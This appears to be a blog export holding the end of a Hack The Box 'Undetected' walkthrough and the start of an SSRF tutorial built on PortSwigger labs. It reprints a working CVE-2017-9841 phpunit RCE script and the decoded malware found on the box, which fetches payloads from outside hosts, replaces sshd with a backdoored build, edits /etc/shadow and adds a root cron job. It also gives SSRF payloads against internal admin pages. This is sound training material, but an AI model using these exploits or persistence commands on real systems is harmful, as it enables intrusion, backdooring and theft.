number doesn't match, and the files it needs aren't located on the web server. Besides this finding, the directory listing doesn't provide us with any interesting information.\nWe know that the box uses virtual hosts, so let's enumerate the web server to find out whether there are any more virtual hosts that we can look into. To scan for virtual hosts the following wfuzz command is used.\n1wfuzz -c -u http://store.djewelry.htb/ -H \u0026#34;Host: FUZZ.djewelry.htb\u0026#34; -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 15283 -f wfuzz.out The only host that we find is store.\n1===================================================================== 2ID Response Lines Word Chars Payload 3===================================================================== 4 5000000081: 200 195 L 475 W 6203 Ch \u0026#34;store\u0026#34; We can try to use a more extensive subdomain list.\n1wfuzz -c -u http://store.djewelry.htb/ -H \u0026#34;Host: FUZZ.djewelry.htb\u0026#34; -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh 15283 -f wfuzz.out But no luck.\n1===================================================================== 2ID Response Lines Word Chars Payload 3===================================================================== 4 5000000081: 200 195 L 475 W 6203 Ch \u0026#34;store\u0026#34; 6000009532: 400 10 L 35 W 304 Ch \u0026#34;#www\u0026#34; 7000010581: 400 10 L 35 W 304 Ch \u0026#34;#mail\u0026#34; 8000047706: 400 10 L 35 W 304 Ch \u0026#34;#smtp\u0026#34; Let's run Nikto to see whether we maybe missed something in our basic web enumeration.\n1nikto -h store.djewelry.htb Nikto comes back with the following results.\n1- Nikto v2.1.6 2--------------------------------------------------------------------------- 3+ Target IP: 10.129.114.58 4+ Target Hostname: store.djewelry.htb 5+ Target Port: 80 6+ Start Time: 2022-04-08 13:55:11 (GMT2) 7--------------------------------------------------------------------------- 8+ Server: Apache/2.4.41 (Ubuntu) 9+ The anti-clickjacking X-Frame-Options header is not present. 10+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS 11+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type 12+ No CGI Directories found (use \u0026#39;-C all\u0026#39; to force check all possible dirs) 13+ Web Server returns a valid response with junk HTTP methods, this may cause false positives. 14+ OSVDB-3268: /css/: Directory indexing found. 15+ OSVDB-3092: /css/: This might be interesting... 16+ OSVDB-3268: /images/: Directory indexing found. 17+ /login.php: Admin login page/section found. 18+ 7863 requests: 0 error(s) and 8 item(s) reported on remote host 19+ End Time: 2022-04-08 13:58:00 (GMT2) (169 seconds) 20--------------------------------------------------------------------------- 21+ 1 host(s) tested But doesn't provide us any more information that can be leveraged towards obtaining a foothold onto the server. I try to find more information over UDP, so I run the following UDP nmap scan.\n1sudo nmap -sC -sV -sU 10.129.114.58 But it also doesn't show us anything of use.\n1PORT STATE SERVICE REASON VERSION 253/udp closed domain port-unreach ttl 63 367/udp closed dhcps port-unreach ttl 63 468/udp open|filtered dhcpc no-response 569/udp open|filtered tftp no-response 6123/udp open|filtered ntp no-response 7135/udp open|filtered msrpc no-response 8137/udp closed netbios-ns port-unreach ttl 63 9138/udp closed netbios-dgm port-unreach ttl 63 10139/udp open|filtered netbios-ssn no-response 11161/udp open|filtered snmp no-response 12162/udp open|filtered snmptrap no-response 13445/udp closed microsoft-ds port-unreach ttl 63 14500/udp closed isakmp port-unreach ttl 63 15514/udp closed syslog port-unreach ttl 63 16520/udp open|filtered route no-response 17631/udp closed ipp port-unreach ttl 63 181434/udp closed ms-sql-m port-unreach ttl 63 191900/udp open|filtered upnp no-response 204500/udp closed nat-t-ike port-unreach ttl 63 2149152/udp closed unknown port-unreach ttl 63 So far this box has been a struggle. After looking at hints in the HTB official discussion, I decided to take another look at the /vendor/ directory. After a while of searching I found that phpunit is vulnerable to a remote code execution vulnerability. I didn't find this the first time because while I was looking through searchsploit I looked for \u0026quot;phpunit\u0026quot; instead of \u0026quot;php unit\u0026quot; with a space... Ugh.\nAnyways, the eval-stdin.php file located in http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php is vulnerable to CVE-2017-9841. I clone the python exploit script from exploitdb.\n1# Exploit Title: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated) 2# Date: 2022/01/30 3# Exploit Author: souzo 4# Vendor Homepage: phpunit.de 5# Version: 4.8.28 6# Tested on: Unit 7# CVE : CVE-2017-9841 8 9import requests 10from sys import argv 11phpfiles = [\u0026#34;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34;, \u0026#34;/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34;, \u0026#34;/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34;, \u0026#34;/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34;, \u0026#34;/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34;, \u0026#34;/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\u0026#34;] 12 13def check_vuln(site): 14 vuln = False 15 try: 16 for i in phpfiles: 17 site = site+i 18 req = requests.get(site,headers= { 19 \u0026#34;Content-Type\u0026#34; : \u0026#34;text/html\u0026#34;, 20 \u0026#34;User-Agent\u0026#34; : f\u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\u0026#34;, 21 },data=\u0026#34;\u0026lt;?php echo md5(phpunit_rce); ?\u0026gt;\u0026#34;) 22 if \u0026#34;6dd70f16549456495373a337e6708865\u0026#34; in req.text: 23 print(f\u0026#34;Vulnerable: {site}\u0026#34;) 24 return site 25 except: 26 return vuln 27def help(): 28 exit(f\u0026#34;{argv[0]} \u0026lt;site\u0026gt;\u0026#34;) 29 30def main(): 31 if len(argv) \u0026lt; 2: 32 help() 33 if not \u0026#34;http\u0026#34; in argv[1] or not \u0026#34;:\u0026#34; in argv[1] or not \u0026#34;/\u0026#34; in argv[1]: 34 help() 35 site = argv[1] 36 if site.endswith(\u0026#34;/\u0026#34;): 37 site = list(site) 38 site[len(site) -1 ] = \u0026#39;\u0026#39; 39 site = \u0026#39;\u0026#39;.join(site) 40 41 pathvuln = check_vuln(site) 42 if pathvuln == False: 43 exit(\u0026#34;Not vuln\u0026#34;) 44 try: 45 while True: 46 cmd = input(\u0026#34;\u0026gt; \u0026#34;) 47 req = requests.get(str(pathvuln),headers={ 48 \u0026#34;User-Agent\u0026#34; : f\u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\u0026#34;, 49 \u0026#34;Content-Type\u0026#34; : \u0026#34;text/html\u0026#34; 50 },data=f\u0026#39;\u0026lt;?php system(\\\u0026#39;{cmd}\\\u0026#39;) ?\u0026gt;\u0026#39;) 51 print(req.text) 52 except Exception as ex: 53 exit(\u0026#34;Error: \u0026#34; + str(ex)) 54main() And run it.\n1python3 50702.py http://store.djewelry.htb/ 2Vulnerable: http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 3\u0026gt; whoami 4www-data We have our foothold as www-data. Let's stabilize our shell, and look for our privilege escalation path to the Steven user.\nUser shell After some manual enumeration I decided to run Linpeas. I find two very interesting results. One being a backup file called /var/backups/info, and the other being a cronjob that is being ran as root (* 3 * * * root /var/lib/.main). When searching for the /var/lib/.main I couldn't find the .main file. Therefore I skipped that and looked into /var/backups/info.\n1\u0026gt; file /var/backups/info 2 3/var/backups/info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped Looks like we are dealing with an x64 ELF binary. It's not stripped, thus comments and other useful information will still be inside of it. The binary is dynamically linked, thus it uses on-the-box libraries. Let's take a look at its strings (for some reason I can't use the strings command, so I ended up running cat). Besides all of the unreadable binary data, we also see some text that we can kindof make sense of.\n1\u0026gt; cat /var/backups/info 2 3fork()/etc/shadow[.] checking if we got root[-] something went wrong =([+] 4got r00t ^_^[-] unshare(CLONE_NEWUSER)deny/proc/self/setgroups[-] write_file(/proc/self/set_groups)0 %d 1 5/proc/self/uid_map[-] write_file(/proc/self/uid_map)/proc/self/gid_map[-] write_file(/proc/self/gid_map)[-] sched_setaffinity()/sbin/ifconfig lo up[-] system(/sbin/ifconfig lo up)[.] starting[.] namespace sandbox set up[.] KASLR bypass 6 enabled, getting kernel addr[.] done, kernel text: %lx 7[.] commit_creds: %lx 8[.] prepare_kernel_cred: %lx 9[.] native_write_cr4: %lx 10[.] padding heap[.] done, heap is padded[.] SMEP \u0026amp; SMAP bypass enabled, turning them off[.] done, SMEP \u0026amp; SMAP should be off now[.] executing get root payload %p It almost looks like some sort of exploit or at least a binary that is checking if it can get root permissions, and if so, it will execute some task. Let's download the binary off of this box and analyze it in Ghidra. To accomplish this I use netcat. On the receiver box I run.\n1nc -nvlp 9001 \u0026gt; binary.elf On the sending box I run.\n1\u0026gt; md5sum /var/backups/info 204060ea986c7bacdc64130a1d7b8ca2d 3 4\u0026gt; /usr/bin/nc -w 3 10.10.14.12 9001 \u0026lt; /var/backups/info We download the file and check whether we didn't lose any data along the way.\n1\u0026gt; nc -nvlp 9001 \u0026gt; binary.elf 2listening on [any] 9001 ... 3connect to [10.10.14.12] from (UNKNOWN) [10.129.114.58] 58328 4 5\u0026gt; md5sum binary.elf 604060ea986c7bacdc64130a1d7b8ca2d The md5sums match, so we should be good to go. Let's run strings on the file before opening it, as we couldn't do this while it was still on the hackthebox VM.\n1strings binary.elf 2 37767[...]56d7066696c65732e787[...]72732e74787b20726[...]6572732e7478[...]743b Given the characters 0-9 and a-f this looks like a hexdump. I use Cyberchef to decode it for us. It shows the following results.\n1wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo \u0026#34;* 3 * * * root /var/lib/.main\u0026#34; \u0026gt;\u0026gt; /etc/crontab; awk -F\u0026#34;:\u0026#34; \u0026#39;$7 == \u0026#34;/bin/bash\u0026#34; \u0026amp;\u0026amp; $3 \u0026gt;= 1000 {system(\u0026#34;echo \u0026#34;$1\u0026#34;1:\\$6\\$zS7ykHxxxxxx1IUrhZanRuDZhf1oIdnxxxxxegBXk.VtGg78eL7WxxxxxxBtPu8Ufm9hM0R/BLxxxxQ0T9n/:18813:0:99999:7::: \u0026gt;\u0026gt; /etc/shadow\u0026#34;)}\u0026#39; /etc/passwd; awk -F\u0026#34;:\u0026#34; \u0026#39;$7 == \u0026#34;/bin/bash\u0026#34; \u0026amp;\u0026amp; $3 \u0026gt;= 1000 {system(\u0026#34;echo \u0026#34;$1\u0026#34; \u0026#34;$3\u0026#34; \u0026#34;$6\u0026#34; \u0026#34;$7\u0026#34; \u0026gt; users.txt\u0026#34;)}\u0026#39; /etc/passwd; while read -r user group home shell _; do echo \u0026#34;$user\u0026#34;1\u0026#34;:x:$group:$group:,,,:$home:$shell\u0026#34; \u0026gt;\u0026gt; /etc/passwd; done \u0026lt; users.txt; rm users.txt; We see that there is a hash echo'd to the /etc/shadow file, meaning that if we can crack it, we will be able to log onto the box with the cracked password. We get rid of the surrounding data and only specify the hash.\n1$6$xxxxx3aYht4$1IUrhxxxxxxxxxxxlwbkegBXk.VtGg78eL7WBM6OxM0R/BLdACoQ0T9n/ We then use john to crack the hash.\n1john --wordlist=/usr/share/wordlists/rockyou.txt hash Which finds us an SSH password! As we had our interactive session on the box, we can check the /etc/passwd for all users on the box.\n1cat /etc/passwd 2 3root:x:0:0:root:/root:/bin/bash 4daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 5bin:x:2:2:bin:/bin:/usr/sbin/nologin 6sys:x:3:3:sys:/dev:/usr/sbin/nologin 7sync:x:4:65534:sync:/bin:/bin/sync 8games:x:5:60:games:/usr/games:/usr/sbin/nologin 9man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 10lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 11mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 12news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 13uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 14proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 15www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 16backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 17list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 18irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 19gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 20nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 21systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin 22systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 23systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 24messagebus:x:103:106::/nonexistent:/usr/sbin/nologin 25syslog:x:104:110::/home/syslog:/usr/sbin/nologin 26_apt:x:105:65534::/nonexistent:/usr/sbin/nologin 27tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false 28uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin 29tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin 30landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin 31pollinate:x:110:1::/var/cache/pollinate:/bin/false 32usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin 33systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin 34steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash 35lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false 36sshd:x:112:65534::/run/sshd:/usr/sbin/nologin 37steven1:x:1000:1000:,,,:/home/steven:/bin/bash Looks like our user is named steven1. Let's try to use the cracked credentials to SSH onto the system as steven1.\n1ssh steven1@10.129.114.58 2 3steven@production:~$ whoami 4steven 5 6steven@production:~$ ls 7user.txt Nice, we got our user flag. Interestingely enough we login as steven1, but turn out to to be the steven user. Not sure why this is the case. Anyways, let's escalate to root.\nPrivilege Escalation Let's run linpeas as our new user. Linpeas returns some interesting results regarding emails owned by Steven.\n1[+] Mails (limit 50) 217793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/mail/steven 317793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/spool/mail/steven Let's read the contents of the email.\n1steven@production:~$ cat /var/mail/steven 2 3From root@production Sun, 25 Jul 2021 10:31:12 GMT 4Return-Path: \u0026lt;root@production\u0026gt; 5Received: from production (localhost [127.0.0.1]) 6 by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847 7 for \u0026lt;steven@production\u0026gt;; Sun, 25 Jul 2021 10:31:12 GMT 8Received: (from root@localhost) 9 by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847; 10 Sun, 25 Jul 2021 10:31:12 GMT 11Date: Sun, 25 Jul 2021 10:31:12 GMT 12Message-Id: \u0026lt;202107251031.80FAcdZ171847@production\u0026gt; 13To: steven@production 14From: root@production 15Subject: Investigations 16 17Hi Steven. 18 19We recently updated the system but are still experiencing some strange behaviour with the Apache service. 20We have temporarily moved the web store and database to another server whilst investigations are underway. 21If for any reason you need access to the database or web application code, get in touch with Mark and he will generate a temporary password for you to authenticate to the temporary server. 22 23Thanks, 24sysadmin The email is sent by root@production, and is ended written by the sysadmin. It looks like there is something interesting going on with the apache2 service. I looked through the enabled sites and configurations but there were no interesting configuration entries.\nApache is located in the /usr/lib/apache2 directory. Let's take a look.\n1ls -lah /usr/lib/apache2/modules 2 3[...] 4-rw-r--r-- 1 root root 4.5M Nov 25 23:16 libphp7.4.so 5[...] 6-rw-r--r-- 1 root root 23K Jan 5 14:49 mod_proxy_uwsgi.so 7-rw-r--r-- 1 root root 19K Jan 5 14:49 mod_proxy_wstunnel.so 8-rw-r--r-- 1 root root 15K Jan 5 14:49 mod_ratelimit.so 9-rw-r--r-- 1 root root 34K May 17 2021 mod_reader.so 10-rw-r--r-- 1 root root 15K Jan 5 14:49 mod_reflector.so 11-rw-r--r-- 1 root root 31K Jan 5 14:49 mod_remoteip.so 12-rw-r--r-- 1 root root 19K Jan 5 14:49 mod_reqtimeout.so 13[...] Theres a lot of files in the directory, but only two files that were edited on a date different than January 5th. The two files are libphp7.4.so and mod_reader.so. Let's download the two files to our attack VM. On the receiver box I start two listeners.\n1nc -nvlp 9001 \u0026gt; libphp7.4.so 2nc -nvlp 9002 \u0026gt; mod_reader.so And on the sending box I run the two following nc commands.\n1steven@production:/usr/lib/apache2/modules$ md5sum libphp7.4.so 2026789ec895aac3f941f36bc1254c6da libphp7.4.so 3 4steven@production:/usr/lib/apache2/modules$ md5sum mod_reader.so 55ef63371b6a138253a87aa1f79abf199 mod_reader.so 6 7steven@production:/usr/lib/apache2/modules$ /usr/bin/nc -w 3 10.10.14.12 9001 \u0026lt; libphp7.4.so 8 9steven@production:/usr/lib/apache2/modules$ /usr/bin/nc -w 3 10.10.14.12 9002 \u0026lt; mod_reader.so I check the md5sums, and they match. I run strings on the libphp7.4.so, but I don't see any interesting information. I then run strings on mod_reader.so, and find the following base64 encoded string.\n1strings mod_reader.so 2 3d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk Let's use the built-in base64 package to decode it.\n1echo -n \u0026#34;d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk\u0026#34; | base64 -d And we find the following decoded info.\n1wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd This box has a very interesting theme. I reversed the backup file in Ghidra, and it seemed to be a privilege escalation exploit. Then we find this, which appears to download malicious software from sharefiles.xyz, and overwrite the /usr/sbin/sshd file. Looks like a malware infected box. Anyways, let's analyze this /usr/sbin/sshd file in Ghidra as well. First, we need to download it to our box.\n1nc -nvlp 9003 \u0026gt; sshd And we download the file\n1steven@production:/usr/lib/apache2/modules$ md5sum /usr/sbin/sshd 29ae629656c6f72dc957358b1f41df27e /usr/sbin/sshd 3 4steven@production:/usr/lib/apache2/modules$ /usr/bin/nc -w 3 10.10.14.12 9002 \u0026lt; /usr/sbin/sshd Let's take a look at the file type and the way it's compiled.\n1file sshd 2 3sshd: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=81f92a57f5fc9f678359f6da9f922af23b7fd8bd, for GNU/Linux 3.2.0, with debug_info, not stripped sshd is an x64 ELF binary that is not stripped, meaning we can still see function names and comments in the binary, and is dynamically linked, thus requiring installed libraries on the system to run. Additionally, it's a pie executable, meaning it has some protections built-in with regards to binary exploitation.\nWe open Ghidra, create a new project and let Ghidra auto analyze the ELF binary. In the Symbol tree, we navigate to Functions and see the functions that are being called in the binary. Unfortunately for us, there's a lot of different folders with different functions available in the ELF. Luckily for us I went through a few, starting from A, and ended up finding the perfect function by trial and error. Within the A directory, there is a function called \u0026quot;auth_password\u0026quot;. Let's look at its pseudo code.\n1int auth_password(ssh *ssh,char *password) 2 3{ 4 Authctxt *ctxt; 5 passwd *ppVar1; 6 int iVar2; 7 uint uVar3; 8 byte *pbVar4; 9 byte *pbVar5; 10 size_t sVar6; 11 byte bVar7; 12 int iVar8; 13 long in_FS_OFFSET; 14 char backdoor [31]; 15 byte local_39 [9]; 16 long local_30; 17 18 bVar7 = 0xd6; 19 ctxt = (Authctxt *)ssh-\u0026gt;authctxt; 20 local_30 = *(long *)(in_FS_OFFSET + 0x28); 21 backdoor._28_2_ = 0xa9f4; 22 ppVar1 = ctxt-\u0026gt;pw; 23 iVar8 = ctxt-\u0026gt;valid; 24 backdoor._24_4_ = 0xbcf0b5e3; 25 backdoor._16_8_ = 0xb2d6f4a0fda0b3d6; 26 backdoor[30] = -0x5b; 27 backdoor._0_4_ = 0xf0e7abd6; 28 backdoor._4_4_ = 0xa4b3a3f3; 29 backdoor._8_4_ = 0xf7bbfdc8; 30 backdoor._12_4_ = 0xfdb3d6e7; 31 pbVar4 = (byte *)backdoor; 32 while( true ) { 33 pbVar5 = pbVar4 + 1; 34 *pbVar4 = bVar7 ^ 0x96; 35 if (pbVar5 == local_39) break; 36 bVar7 = *pbVar5; 37 pbVar4 = pbVar5; 38 } 39 iVar2 = strcmp(password,backdoor); 40 uVar3 = 1; 41 if (iVar2 != 0) { 42 sVar6 = strlen(password); 43 uVar3 = 0; 44 if (sVar6 \u0026lt; 0x401) { 45 if ((ppVar1-\u0026gt;pw_uid == 0) \u0026amp;\u0026amp; (options.permit_root_login != 3)) { 46 iVar8 = 0; 47 } 48 if ((*password != \u0026#39;\\0\u0026#39;) || 49 (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) { 50 if (auth_password::expire_checked == 0) { 51 auth_password::expire_checked = 1; 52 iVar2 = auth_shadow_pwexpired(ctxt); 53 if (iVar2 != 0) { 54 ctxt-\u0026gt;force_pwchange = 1; 55 } 56 } 57 iVar2 = sys_auth_passwd(ssh,password); 58 if (ctxt-\u0026gt;force_pwchange != 0) { 59 auth_restrict_session(ssh); 60 } 61 uVar3 = (uint)(iVar2 != 0 \u0026amp;\u0026amp; iVar8 != 0); 62 } 63 } 64 } 65 if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) { 66 return uVar3; 67 } 68 /* WARNING: Subroutine does not return */ 69 __stack_chk_fail(); We can see that there should be 31 values in the backdoor array due to the following line.\n1char backdoor [31]; Further down in the pseudo code we can see 31 characters being added.\n1backdoor._28_2_ = 0xa9f4; 2ppVar1 = ctxt-\u0026gt;pw; 3iVar8 = ctxt-\u0026gt;valid; 4backdoor._24_4_ = 0xbcf0b5e3; 5backdoor._16_8_ = 0xb2d6f4a0fda0b3d6; 6backdoor[30] = -0x5b; 7backdoor._0_4_ = 0xf0e7abd6; 8backdoor._4_4_ = 0xa4b3a3f3; 9backdoor._8_4_ = 0xf7bbfdc8; 10backdoor._12_4_ = 0xfdb3d6e7; We can see that the backdoor bytes are written to a bpVar4 variable.\n1pbVar4 = (byte *)backdoor; Which is later on being xored with the value of 0x96 (due to the ^ sign).\n1while( true ) { 2 pbVar5 = pbVar4 + 1; 3 *pbVar4 = bVar7 ^ 0x96; 4 if (pbVar5 == local_39) break; 5 bVar7 = *pbVar5; 6 pbVar4 = pbVar5; 7 } Meaning we need to get the 31 byte array, and xor it with a key of 96 to restore the original contents. We first store the 31 bytes starting from the \u0026quot;backdoor 30\u0026quot; line, as it adds up to 31 bytes. The line contains a negative -0x5b character. We use Ghidra to translate it by right clicking on the character and selecting \u0026quot;char\u0026quot;. It's translated to \u0026quot;\\xa5\u0026quot;. I chose to create hex values out of the entire string, and convert it.\n1string = \u0026#34;a5a9f4bcf0b5e3b2d6f4a0fda0b3d6fdb3d6e7f7bbfdc8a4b3a3f3f0e7abd6\u0026#34; 2 3buffer = \u0026#34;\\\\x\u0026#34; + \u0026#34;, \\\\x\u0026#34;.join(string[i:i+2] for i in range (0, len(string), 2)) 4 5print(buffer) 6 7\u0026gt;\u0026gt; \\xa5, \\xa9, \\xf4, \\xbc, \\xf0, \\xb5, \\xe3, \\xb2, \\xd6, \\xf4, \\xa0, \\xfd, \\xa0, \\xb3, \\xd6, \\xfd, \\xb3, \\xd6, \\xe7, \\xf7, \\xbb, \\xfd, \\xc8, \\xa4, \\xb3, \\xa3, \\xf3, \\xf0, \\xe7, \\xab, \\xd6 I could've used cyberchef right away on the string value I put in my Python script, but I wanted to test my logic :) I now put the hex values in cyberchef, swap endianness with a word length of 31 bytes, convert it from hex and XOR it with a key of 96. The whole recipe can be found here. We found the root SSH password!\nNow that we decoded the password, we can login to the box as the root user.\n1kali@kali:~$ ssh root@store.djewelry.htb 2 3root@production:~# whoami 4root 5 6root@production:~# ls 7root.txt And we completed the box. I have to point out that I really liked this box, as it had several different interesting and original ideas. The box had a relatively low rating on Hack The Box, but I think that people just don't like reverse engineering type of systems. Anyways, I hope you learnt something new today. Have a great day!\n","link":"https://aegrah.github.io/post/2022-04-10-undetected-htb-walkthrough.html","section":"post","tags":["Hack the Box","Linux"],"title":"Hack The Box - Undetected Walkthrough"},{"body":"","link":"https://aegrah.github.io/tags/owasp.html","section":"tags","tags":null,"title":"OWASP"},{"body":"","link":"https://aegrah.github.io/categories/web-application-hacking.html","section":"categories","tags":null,"title":"Web Application Hacking"},{"body":"This blog post will cover server-side request forgery (SSRF) attacks. Along the way we will be covering what a SSRF is, take a look at the basics of a SSRF attack, discuss several more advanced SSRF attacks and learn about the ways to prevent your web application of being vulnerable to these types of attacks. While analyzing the topic, we will be going through several easy and more advanced labs, which are available for free at PortSwigger academy.\nWhat is Server-Side Request Forgery (SSRF)? SSRF is a type of attack in which an attacker abuses a misconfiguration of a web application in order to make the application access resources that it usually is not supposed to access. Examples of SSRF are the manipulation of a web application to access internally available resources by making it connect to localhost (127.0.0.1) instead of the URL it is trying to access, or make the server connect to a remote server that is owned by the attacker in order to exfiltrate sensitive data or in specific cases perform arbitrary command execution. This will make more sense when looking at a basic example.\nBasic SSRF Attack Example The following example illustrates a web shop that has a built-in functionality which checks its available stock by fetching data from an internal system. When we check the stock, we can see that the web applicatoin sends the following request to the back-end server:\n1POST /product/stock HTTP/1.1 2Host: 0a02001c049e24b3c0ee7779001c0063.web-security-academy.net 3[...] 4 5stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 The POST request contains a stockApi parameter with the URL-encoded value of http://stock.weliketoshop.net:8080/product/stock/check?productId=1\u0026storeId=1. This is where the vulnerability arises. If we can somehow make the back-end server connect to a remote server that we control, or to itself on localhost, we can possibly exfiltrate sensitive information.\nIn this lab, the web application contains an /admin page that is only accessible locally. Let's try to access this page by manipulating the POST request. We use BurpSuite to intercept the request, and change the stockApi to localhost/admin.\n1POST /product/stock HTTP/1.1 2Host: 0a02001c049e24b3c0ee7779001c0063.web-security-academy.net 3[...] 4 5stockApi=http%3a//localhost/admin The server responds with HTTP 200 OK. If we right click on the response and select \u0026quot;show response in browser\u0026quot;, we can navigate to the page that we were not able to access remotely. Unfortunately, we cannot navigate through this page, because it will see that we are not connecting from localhost. When trying to delete a user, we create the following request:\n1GET /admin/delete?username=carlos HTTP/1.1 2Host: 0a02001c049e24b3c0ee7779001c0063.web-security-academy.net 3[...] At which the server replies with the following:\n1HTTP/1.1 401 Unauthorized Meaning we can't delete the user. We can bypass this by understanding how the web application works, and using its workings to our advantage. When sending a POST request to /product/stock to retrieve the available stock, the server will (under water) send a GET request to the web page specified in the stockApi parameter. This means that if we change the stockApi URL to \u0026quot;http://localhost/admin/delete?username=carlos\u0026quot;, chances are we will be able to delete the carlos user. Let's give it a try:\n1POST /product/stock HTTP/1.1 2Host: 0a02001c049e24b3c0ee7779001c0063.web-security-academy.net 3[...] 4 5stockApi=http%3a//localhost/admin/delete%3fusername%3dcarlos At which the server responds with:\n1HTTP/1.1 302 Found 2Location: /admin 3Set-Cookie: session=ZEH96kiZlBYxaqEL5mxcnMGe7iCkh8mz; Secure; HttpOnly; SameSite=None 4Connection: close 5Content-Length: 0 After which the server deletes the Carlos user!\nThe example above is of course staged, but you can imagine that this vulnerability can lead to sensitive information disclosure when present within a web application.\nCommon SSRF Attacks Let's go through some more common examples, to ensure that you will have some deeper understanding of the topic. In this section we will be taking a look at how we can enumerate web services to find sensitive endpoints and how to bypass several SSRF filters.\nInternal Network Mapping through SSRF We can leverage a similar attack as the one presented above, when dealing with web applications on IP-addresses that we cannot access from outside of the network. Additionally, we can use SSRF to connect to web applications on ports that are not opened to the external network. In this example, we will be abusing a similar stock check feature in order to scan the internal 192.168.0.x network to find an admin interface that is not reachable externally. Let's take a look at the request:\n1POST /product/stock HTTP/1.1 2Host: 0a6400fc03920661c0048c3900bf0036.web-security-academy.net 3[...] 4 5stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 Similar to before, we see the following request. When trying to access the /admin page at the 192.168.0.1 address:\n1POST /product/stock HTTP/1.1 2Host: 0a6400fc03920661c0048c3900bf0036.web-security-academy.net 3[...] 4 5stockApi=http%3a//192.168.0.1%3a8080/admin/delete%3fusername%3dcarlos The server replies with HTTP 400 Bad Request:\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 19 5 6\u0026#34;Missing parameter\u0026#34; Let's send this request to the intruder, and map the internal network. We use the sniper attack type, and the following intruder payload positions:\n1POST /product/stock HTTP/1.1 2Host: 0a6400fc03920661c0048c3900bf0036.web-security-academy.net 3[...] 4 5stockApi=http%3a//192.168.0.§1§%3a8080/admin/delete%3fusername%3dcarlos Next, we set the following payload sets and options:\nWhen sorting through the results, we can see several status code 500's and 400's, but only one status code 302. When looking at this request, we can see that it sent a request to 192.168.0.235, and received the following redirect response:\n1HTTP/1.1 302 Found 2Location: http://192.168.0.235:8080/admin 3Connection: close 4Content-Length: 0 After which the user was deleted, thus the attack was executed succesfully. Through this method it is possible to map both internal IP-addresses and ports that are not accessible remotely.\nSSRF Blacklist Bypasses When web developers require this functionality within their application but are aware of its dangers, they often implement blacklist based protection 